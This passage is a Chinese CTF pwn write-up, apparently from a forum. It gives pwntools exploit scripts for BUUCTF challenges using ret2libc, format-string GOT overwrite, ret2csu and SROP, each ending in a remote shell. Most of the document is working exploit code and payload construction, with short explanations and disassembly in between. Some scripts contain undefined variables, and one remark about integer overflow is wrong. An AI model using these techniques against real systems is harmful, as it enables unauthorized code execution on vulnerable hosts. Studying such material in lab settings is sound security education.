print("[+] Phase 2 Inprogress.")
print("[+] Trying got system and /bin/sh address though real address")
 
# Dump Dump是给LibcSearcher用的
libc = LibcSearcher("puts",puts_addr) #使用LibcSearcher在绝大部分libc中搜索puts的后3位地址
libcbase = puts_addr - libc.dump('puts') #使用puts的真实地址作为基址
system = libcbase + libc.dump('system') #计算system与/bin/sh偏移值
bin_sh = libcbase + libc.dump('str_bin_sh')
 
# Sym Symbols 是LibcSearcherX的函数调用方式
#libc = LibcSearcherLocal("puts",puts_addr)
#libcbase = puts_addr - libc.sym['puts']
#system = libcbase + libc.sym['system']
#bin_sh = libcbase + libc.sym['str_bin_sh']
 
#libcbase = puts_addr - libc.symbols['puts']
#system = libcbase + libc.symbols['system']
#bin_sh = libcbase + next(libc.search(b'/bin/sh'))
 
print("[+] Phase 2 Completed")
print("--------------------------------------------------")
 
# 阶段3 打印各个地址
print("[+] Phase 3 Inprogress.")
print("[+] Real Address: ",hex(puts_addr))
print("[+] Base Address: ",hex(puts_addr))
print("[+] System Address: ",hex(system))
print("[+] /bin/sh Address: ",hex(bin_sh))
print("[+] Phase 3 Completed")
print("--------------------------------------------------")
 
# 阶段4 获取shell
payload = ( flat("a"*0x58)+p64(ret)+p64(rdi_addr)+p64(bin_sh)+p64(system) ) #高版本libc需要栈平衡,因此需要ret

io.recv()
io.sendline(b'1')
io.recvuntil("encrypted\n")
io.sendline(payload)
print("Successfully got shell , Automaticly searching system version.")
print("Got")
io.sendline("find '/flag.txt' -exec cat {} \;")
print("The")
io.sendline("find '/flag' -exec cat {} \;")
print("Damn")
io.sendline("find '/proc/version' -exec cat {} \;")
print("Shell!")
io.interactive()

5.bjdctf_2020_babyrop

64 位,通过 puts 获取

from pwn import *
from LibcSearcher import *

r=remote('node5.buuoj.cn',26965)
elf=ELF('./1')
context.log_level='debug'

main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400733

payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil('Pull up your sword and tell me u story!\n')
r.sendline(payload)
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))    ---64位接收地址
libc=LibcSearcher('puts',puts_addr)

offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.recvuntil('Pull up your sword and tell me u story!\n')
r.sendline(payload)
r.interactive()

6.[HarekazeCTF2019]baby_rop2--print 打印 read 地址

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
r = remote("node5.buuoj.cn", 28828)
elf = ELF("./1")
libc=ELF("libc.so.6")
pop_rdi = 0x400733
pop_rsi_r15 = 0x400731
#用print打印read地址
payload = b'a'*(0x20+8)+p64(pop_rdi)+p64(0x400770)+p64(pop_rsi_r15)+p64(elf.got['read'])+p64(0)+p64(elf.plt['printf'])+p64(elf.sym['main'])

r.recvuntil("name? ")
r.sendline(payload)
#read_addr = u64(p.recv(6).Ljust(8, b'\x00'))
read_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['read']
system=libc_base+libc.sym['system']
bin_ = libc_base + libc.search(b"/bin/sh\x00").__next__()
payload=b'a'*(0x20+8)+p64(0)+p64(pop_rdi)+p64(bin_)+p64(system)
r.sendline(payload)
r.interactive()

7.jarvisoj_level3_x64 --write

64 位获取 write 地址

from pwn import*
from LibcSearcher import *
context.log_level = 'debug'
io = remote("node5.buuoj.cn", 29201)
elf = ELF("./1")
#获取write的内存地址
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']
main_addr=0x4005E6
pop_rdi = 0x4006b3
pop_rsi_r15 = 0x4006b1
payload = b'a'*(0x80+8) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(write_got) + p64(4)+ p64(write_plt) + p64(main_addr)
io.sendlineafter("Input:\n",payload)
write_addr=u64(io.recv(6).ljust(0x8,b"\x00")) # 接收write的函数地址
print(f"write的地址是{hex(write_addr)}")


libc = LibcSearcher("write",write_addr)
offset=write_addr-libc.dump('write') #求偏移

#拿到sh地址
system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')


payload2 = b'a'*(0x80+8) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
io.sendline(payload2)
io.interactive()

ret2syscall

和正常函数调用没啥区别。
找一下系统调用号表。
想调用那个函数就把 rax 值设置成那个数,然后 syscall 即可。

整数溢出

4294967297 这个数乘于任何数都等于该数本身

got 表劫持

例题

1.[第五空间 2019 决赛]PWN51

image

开启了堆栈保护,无法栈溢出

核心程序:

image

主要逻辑是将输入的密码存储中的数值(0x804c044)进行比较,正确则拿到权限

  • 思路 1:直接利用格式化字符串改写 unk_804C044 之中的数据,然后输入数据对比得到 shell。
  • 思路 2:利用格式化字符串改写 atoi 的 got 地址,将其改为 system 的地址,配合之后的输入,得到 shell。这种方法具有普遍性,也可以改写后面的函数的地址,拿到 shell。
  • 思路 3:bss 段的 unk_804C044,是随机生成的,而我们猜对了这个参数,就可以执行 system("/bin/sh")​,刚好字符串格式化漏洞可以实现改写内存地址的值

思路一:格式化字符串漏洞

代码中先写入 buf,随后又 printf(buf),明显的格式化字符串漏洞

再看一下程序流程:如果 nptr 也就是输入的密码和 0x804c044 下的数字相同,则成功。

因此可以通过 %n 来修改 0x804c044 上的数达到自己的目的。

首先了解一下什么是 %n。

%n:将 %n 之前 printf 已经打印的字符个数赋值给偏移处指针所指向的地址位置,例如:printf("0x44444444%2n")意思就是说在打印出0x4444这个字符后,将“0x44444444”所输入的字符数量(此处是4)写入到%2n 所指的地址中.

首先,在终端上输入 ./pwn​,然后利用 AAAA %x %x %x %x %x %x %x %x %x %x %x %x %x​的形式来计算偏移量:可以数出 0x41414141 是格式化字符串的第 10 个参数,之后只要修改 dword_804c044 的值,让输入和 dword_804c044 的值一样就可以了。

image

exp:

from pwn import*

io=remote("node5.buuoj.cn",29448)

io.recvuntil(b':') #在pwn库中含义为从字节流中读取数据直到遇到后面括号里的数据停止,(第一个:即为name:后要输入的4字节长度,第二个:即为passwd:后输入的密码)在脚本相应的位置写入它们,停止读取后紧跟我们写入sendline的payload进行编译。最后交互数据,得到flag。
payload=p32(0x804C044)+b'%10$n'  #由于在%10$n之前已经写入了0x804C044 为4字节,  因此%10$n:将%10n之前printf已经打印的字符个数"4"赋值给偏移处指针所指向的地址位置  
io.sendline(payload)

io.recvuntil(b':')
io.sendline(b'4') #写入了四字节,因此此处应写入4
io.interactive()

思路二:got 表劫持

利用格式化字符串漏洞来改写程序中的 atoi​函数的 GOT(Global Offset Table)地址。具体步骤如下:

  1. 确定目标地址:首先,需要确定 atoi​函数在 GOT 中的地址。这可以通过使用 elf.got['atoi']​来获取,其中 elf​是 pwntools​库中的 ELF​对象,用于处理二进制文件。
  2. 构造攻击载荷:使用 fmtstr_payload​函数来构造攻击载荷。这个函数会生成一个特定的字符串,该字符串在格式化输出时能够将指定的值写入到指定的地址。在这个例子中,我们将 atoi​的 GOT 地址改为 system​函数的地址。
  3. 发送攻击载荷:将构造好的攻击载荷通过 sendline​函数发送给程序。
  4. 触发漏洞:发送一个特定的输入(例如 '/bin/sh\x00'​),当程序尝试调用 atoi​时,实际上会调用 system​函数,从而执行 /bin/sh​,获得 shell 权限。

这个方法的普遍性在于,它不仅限于改写 atoi​函数的地址,还可以用于改写其他函数的地址,从而实现不同的攻击目的。

from pwn import *

io=remote("node5.buuoj.cn",29448)
p = process('./pwn5')
elf = ELF('./pwn5')

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

payload=fmtstr_payload(10,{atoi_got:system_plt}) #got表劫持 将atoi的地址修改为system

p.sendline(payload)
p.sendline('/bin/sh\x00')

p.interactive()

思路三:修改特定内存地址

利用格式化字符串漏洞来修改内存地址的值。具体来说,是通过**构造特定的输入**,使得程序在执行格式化字符串时,**修改特定的内存地址(bss段的unk_804C044**),从而实现执行system(“/bin/sh”)命令,获得shell权限。这种方法涉及到对**格式化字符串漏洞的深入理解和利用**,包括如何构造payload和利用程序中的特定地址。
from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26486)

unk_804C044 = 0x0804C044
payload=fmtstr_payload(10,{unk_804C044:0x1111})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x1111))
p.interactive()
  1. payload = fmtstr_payload(10, {unk_804C044: 0x1111})​: 这行代码使用了 pwntools 的 fmtstr_payload​函数来生成一个格式化字符串的 payload。fmtstr_payload​函数用于创建一个格式化字符串,该字符串可以在程序中写入任意值到任意地址。参数 10​是格式化字符串的索引,{unk_804C044: 0x1111}​是一个字典,指定了要将地址 unk_804C044​处的值修改为 0x1111​。
  2. p.sendlineafter("your name:", payload)​: 这行代码使用了 sendlineafter​函数,它首先等待字符串"your name:"出现,然后发送构造好的 payload。这意味着 payload 将被发送到程序的输入中,这个输入能够触发格式化字符串漏洞。
  3. p.sendlineafter("your passwd", str(0x1111))​: 类似于上一行,这行代码在接收到"your passwd"提示后发送了字符串 0x1111​(转换为字符串格式),而 0x1111​是之前通过格式化字符串漏洞修改的值。

ciscn_2019_s_3(ret2csu / SROP)

image

1.ret2csu

1.系统调用

64 位和 32 位系统调用上存在区别,32 位使用 int 80h​,而 64 位系统使用 syscall

32 位:

传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx 寄存器中,返回值存在 eax 寄存器

调用号:sys_read 的调用号 为 3 sys_write 的调用号 为 4

调用方式: 使用 int 80h 中断进行系统调用


64 位:

传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx 寄存器中,返回值存在 rax 寄存器

调用号:sys_read 的调用号为 0 sys_write 的调用号为 1

stub_execve 的调用号为 59 stub_rt_sigreturn 的调用号为 15

调用方式: 使用 syscall 进行系统调用

2.分析

int __cdecl main(int argc, const char **argv, const char **envp)
{  
  return vuln();
}

进去 vuln()函数:
signed __int64 vuln()
{ 
  signed __int64 result; // rax 
  
  __asm { syscall; LINUX - sys_read }  
  result = 1LL;  
  __asm { syscall; LINUX - sys_write } 
  return result;
}
------------------汇编------------------------
.text:00000000004004ED 55                            push    rbp
.text:00000000004004EE 48 89 E5                      mov     rbp, rsp                        ;后面rbp与rsp无修改,因此一直重合,覆盖rbp则程序流被劫持
.text:00000000004004F1 48 31 C0                      xor     rax, rax
.text:00000000004004F4 BA 00 04 00 00                mov     edx, 400h                       ; count
.text:00000000004004F9 48 8D 74 24 F0                lea     rsi, [rsp+buf]                  ; buf
.text:00000000004004FE 48 89 C7                      mov     rdi, rax                        ; fd
.text:0000000000400501 0F 05                         syscall                                 ; LINUX - sys_read
.text:0000000000400503 48 C7 C0 01 00 00 00          mov     rax, 1                          --write的系统调用号
.text:000000000040050A BA 30 00 00 00                mov     edx, 30h ; '0'                  ; count
.text:000000000040050F 48 8D 74 24 F0                lea     rsi, [rsp+buf]                  ; buf
.text:0000000000400514 48 89 C7                      mov     rdi, rax                        ; fd
.text:0000000000400517 0F 05                         syscall                                 ; LINUX - sys_write
.text:0000000000400519 C3                            retn									 ;pop rip,即rbp赋值给rip
.text:0000000000400519
.text:0000000000400519                               vuln endp ; sp-analysis faile
系统在vuln中调用了read和write:
read(0,&buf,0x400):
	将 read的第一个参数0 (fd) 赋值给了 rdi
	将 read的第二个参数 buf 赋值给了 rsi
	将 read的第二个参数 buf 赋值给了 rdx
write(1,&buf,0x30):
	将 read的第一个参数 (fd) 赋值给了 rdi
	将 read的第二个参数 buf 赋值给了 rsi
	将 read的第二个参数 buf 赋值给了 rdx

------------------------------------------------------------------------------------------------
signed __int64 vuln()
{
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  v0 = sys_read(0, buf, 0x400uLL);              // buff中存在栈溢出
  return sys_write(1u, buf, 0x30uLL);
}

gadgets 函数:

.text:00000000004004D6                               ; __unwind {
.text:00000000004004D6 55                            push    rbp
.text:00000000004004D7 48 89 E5                      mov     rbp, rsp
.text:00000000004004DA 48 C7 C0 0F 00 00 00          mov     rax, 0Fh
.text:00000000004004E1 C3                            retn
.text:00000000004004E1
.text:00000000004004E1                               gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2                               ; ---------------------------------------------------------------------------
.text:00000000004004E2 48 C7 C0 3B 00 00 00          mov     rax, 3Bh ; ';'
.text:00000000004004E9 C3                            retn
------------------------------------------------分析---------------------------------
mov rax,0Fh //0Fh  即15    而15 对应的是 sys_rt_sigreturn系统调用 ,可以SROP的方法伪造signal frame构造execve(“/bin/sh”,0,0)再利用sys_rt_sigreturn来getshell
mov rax,3Bh //3Bh  即 59   而59对应的是  sys_execve 系统调用 可以构造execve(“/bin/sh”,0,0)
第一种:利用 ret2__libc_csu_init 去构造 execve("/bin/sh",0,0) 来 getshell
第二种:直接srop 伪造 sigreturn frame 去 构造 execve("/bin/sh",0,0) 来 getshell

构造 execve("/bin/sh",0,0)​ 需要什么

将  sys_execve 的调用号 59 赋值给 rax
将    第一个参数即字符串 "/bin/sh"的地址 赋值给 rdi
将    第二个参数 0  赋值给 rsi
将    第三个参数 0  赋值给 rdx

通过下面 ROPgadget --binary 1 --only 'pop|ret'​查找其他 gadget

❯ ROPgadget --binary 1 --only 'pop|ret'
Gadgets information
============================================================
0x000000000040059c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005a0 : pop r14 ; pop r15 ; ret
0x00000000004005a2 : pop r15 ; ret
0x000000000040059b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400440 : pop rbp ; ret
0x00000000004005a3 : pop rdi ; ret
0x00000000004005a1 : pop rsi ; pop r15 ; ret
0x000000000040059d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004003a9 : ret

Unique gadgets found: 11

image

__libc_csu_init​ 是一个在许多 Linux 程序中存在的函数,主要用于初始化 C 运行时环境。它通常在程序的启动过程中被调用,特别是在执行 main​ 函数之前。以下是其主要功能和作用的详细解释:

  1. 初始化全局构造函数:在 C++ 程序中,__libc_csu_init​ 会负责调用所有全局和静态对象的构造函数。这确保了在程序执行之前,所有需要初始化的对象都已正确设置。
  2. 设置堆栈保护:它可能会设置一些安全机制,比如堆栈保护,以防止堆栈溢出等攻击。
  3. 调用 __libc_csu_fini​:在程序结束时,__libc_csu_init​ 还会确保调用 __libc_csu_fini​,以执行全局和静态对象的析构函数,确保资源的正确释放。
  4. 与 ROP 攻击的关系:在一些安全研究中,__libc_csu_init​ 被用作 ROP(Return-Oriented Programming)攻击的一个 gadget。攻击者可以利用这个函数中的特定指令序列来控制程序的执行流,从而执行恶意代码。
  5. 在 ELF 文件中的位置:在 ELF 格式的可执行文件中,__libc_csu_init​ 通常会被链接到特定的段中,供程序在启动时调用。

总结:“x64 下的 __libc_csu_init 中的 gadgets,这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在“

exp

from pwn import *
context.log_level = 'debug'
conn=process("./1")
vuln_addr=0x4004ED
mov_rax_execv_addr=0x4004E2   #ida中查看
pop_rdi_ret_addr=0x4005a3  #ROPgadget --binary ciscn_s_3 --only 'pop|ret'
pop_rbx_rbp_r12_r13_r14_r15_ret_addr=0x40059A
__libc_csu_init_addr=0x400580  # __libc_csu_init gadget 首地址
syscall_addr=0x400501             #ida中查看

#gdb.attach(conn,'b *0x40052C')
payload1=b'/bin/sh\x00'*2+p64(vuln_addr)
conn.send(payload1)
conn.recv(0x20)
bin_sh_addr=u64(conn.recv(8))-280
print (hex(bin_sh_addr))

payload2 = b"/bin/sh\x00"*2+p64(pop_addr)+p64(0)*2+p64(bin_sh_addr + 0x50)+p64(0)*3+p64(mov_addr)+p64(mov_rax)+p64(pop_rdi)+p64(bin_sh_addr)+p64(syscall)
conn.send(payload2)
conn.interactive()
解答1:
payload1=
b'/bin/sh\x00'*2			;程序中没有 /bin/sh,因此需要自己写入, 也可写作b'/bin/sh\x00' + b'A'*0x8 
+p64(vuln_addr)			;返回地址

注意: 在输入/bin/sh 后,需要获取其所在的栈地址.

from pwn import *

p = process('./1')
elf = ELF('./1')
context.log_level = 'debug'

main_addr = elf.symbols['main']
csu_end = 0x040059A
csu_front = 0x0400580
ret_addr = 0x004003a9
rax_59_ret = 0x04004E2
payload = b'/bin/sh\x00' + b'A'*0x8 + p64(main_addr)
print(f"main addr is {hex(main_addr)}")
p.sendline(payload)

gdb.attach(p,'b *0x40050A')
p.interactive()

发送 payload = '/bin/sh\x00' + 'A'*0x8 + p64(main_addr)​后 write 输出的 0x20 字节后 的 内容为栈的基地址

image

所以偏移等于 栈的基地址 - 写入的地址 = 280


注意: execve 需要的参数:

第一个参数即字符串"/bin/sh"的地址赋值给rdi
第二个参数赋值给rsi
第三个参数赋值给rdx
pop_addr 0x40059a :
.text:000000000040059A 5B                            pop     rbx                             ; 赋值0
.text:000000000040059B 5D                            pop     rbp                             ; 赋值0
.text:000000000040059C 41 5C                         pop     r12                             ; bin_sh_addr + 0x50--指向mov_rax,即execve
.text:000000000040059E 41 5D                         pop     r13                             ; 赋值0--最后赋值到rdx
.text:00000000004005A0 41 5E                         pop     r14                             ; 赋值0--最后赋值到rsi
.text:00000000004005A2 41 5F                         pop     r15
.text:00000000004005A4 C3                            retn
---------------------------------------------------------------------------------------------------
mov_addr = 0x400580:
.text:0000000000400580 4C 89 EA                      mov     rdx, r13                        ; 赋值0
.text:0000000000400583 4C 89 F6                      mov     rsi, r14                        ; 赋值0
.text:0000000000400586 44 89 FF                      mov     edi, r15d
.text:0000000000400589 41 FF 14 DC                   call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
--------------------------------------------------------------------------------------------------------------------------------
mov_rax = 0x4004e2:
.text:00000000004004E2 48 C7 C0 3B 00 00 00          mov     rax, 3Bh ; ';'					;将execve调用号写入rax
pop_addr = 0x40059a											;
mov_addr = 0x400580
mov_rax = 0x4004e2
---------------------------------------------------------------------------------------------------
payload2 = 
b"/bin/sh\x00"*2											;填充
+p64(pop_addr)												;返回值填充为多寄存器pop地址,并ret
+p64(0)*2+p64(bin_sh_addr + 0x50)+p64(0)*3					;根据上面pop的顺序填入参数(6个)
+p64(mov_addr)												;pop_addr中ret的地址,跳转到0x400580中,将值写入寄存器
+p64(mov_rax)+p64(pop_rdi)+p64(bin_sh_addr)+p64(syscall)	;执行execve
--------------------------------------------------------------------------------------------

image

from pwn import *
context.log_level = 'debug'
#conn=process("./1")
conn = remote('node5.buuoj.cn',26694)
vuln_addr=0x4004ED
mov_rax_execv_addr=0x4004E2             #ida中查看 mov     rax, 3Bh ; 写入系统调用号
pop_rdi_ret_addr=0x4005a3               #ROPgadget --binary ciscn_s_3 --only 'pop|ret'
pop_rbx_rbp_r12_r13_r14_r15_ret_addr=0x40059A   #__libc_csu_init
__libc_csu_init_addr=0x400580           # __libc_csu_init gadget 首地址
syscall_addr=0x400501                   #syscall地址

#gdb.attach(conn,'b *0x40052C')
payload1=b'/bin/sh\x00'*2+p64(vuln_addr)
conn.send(payload1)
conn.recv(0x20)
bin_sh_addr=u64(conn.recv(8))-280
print (hex(bin_sh_addr))

pop_addr = 0x40059a											;
mov_addr = 0x400580
mov_rax = 0x4004e2
payload2 = b"/bin/sh\x00"*2+p64(pop_addr)+p64(0)*2+p64(bin_sh_addr + 0x50)+p64(0)*3+p64(mov_addr)+p64(mov_rax)+p64(pop_rdi_ret_addr)+p64(bin_sh_addr)+p64(syscall_addr)
conn.send(payload2)
conn.interactive()

SROP

from pwn import *
context(log_level = 'debug',arch ='amd64',os = 'linux')
p=remote('node5.buuoj.cn',28741)
elf=ELF('./1')
 
gadget=0x4004DA                                #mov     rax, 0Fh 系统调用号
syscall=0x400517
vuln=0x4004ED
p.send(b'a'*0x10+p64(vuln))
p.recv(0x20)
binsh=u64(p.recv(8))-280

# 构建伪造的frame,在执行sigreturn时执行execve("/bin/sh",0,0)来getshell
# 创建一个SigreturnFrame对象,设置寄存器的值:
#   rax设置为59,表示调用execve。
#   rdi设置为/bin/sh的地址。
#   rip设置为syscall的地址。
#   rsi设置为0,表示没有额外参数。
frame=SigreturnFrame()
frame.rax=59
frame.rdi=binsh
frame.rip=syscall
frame.rsi=0
payload=b"/bin/sh\x00"*2+p64(gadget)+p64(syscall)+bytes(frame)
p.send(payload)
 
p.interactive()
  • 安全

    安全永远都不是一个小问题。

    200 引用 • 816 回帖 • 1 关注

相关帖子

回帖

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...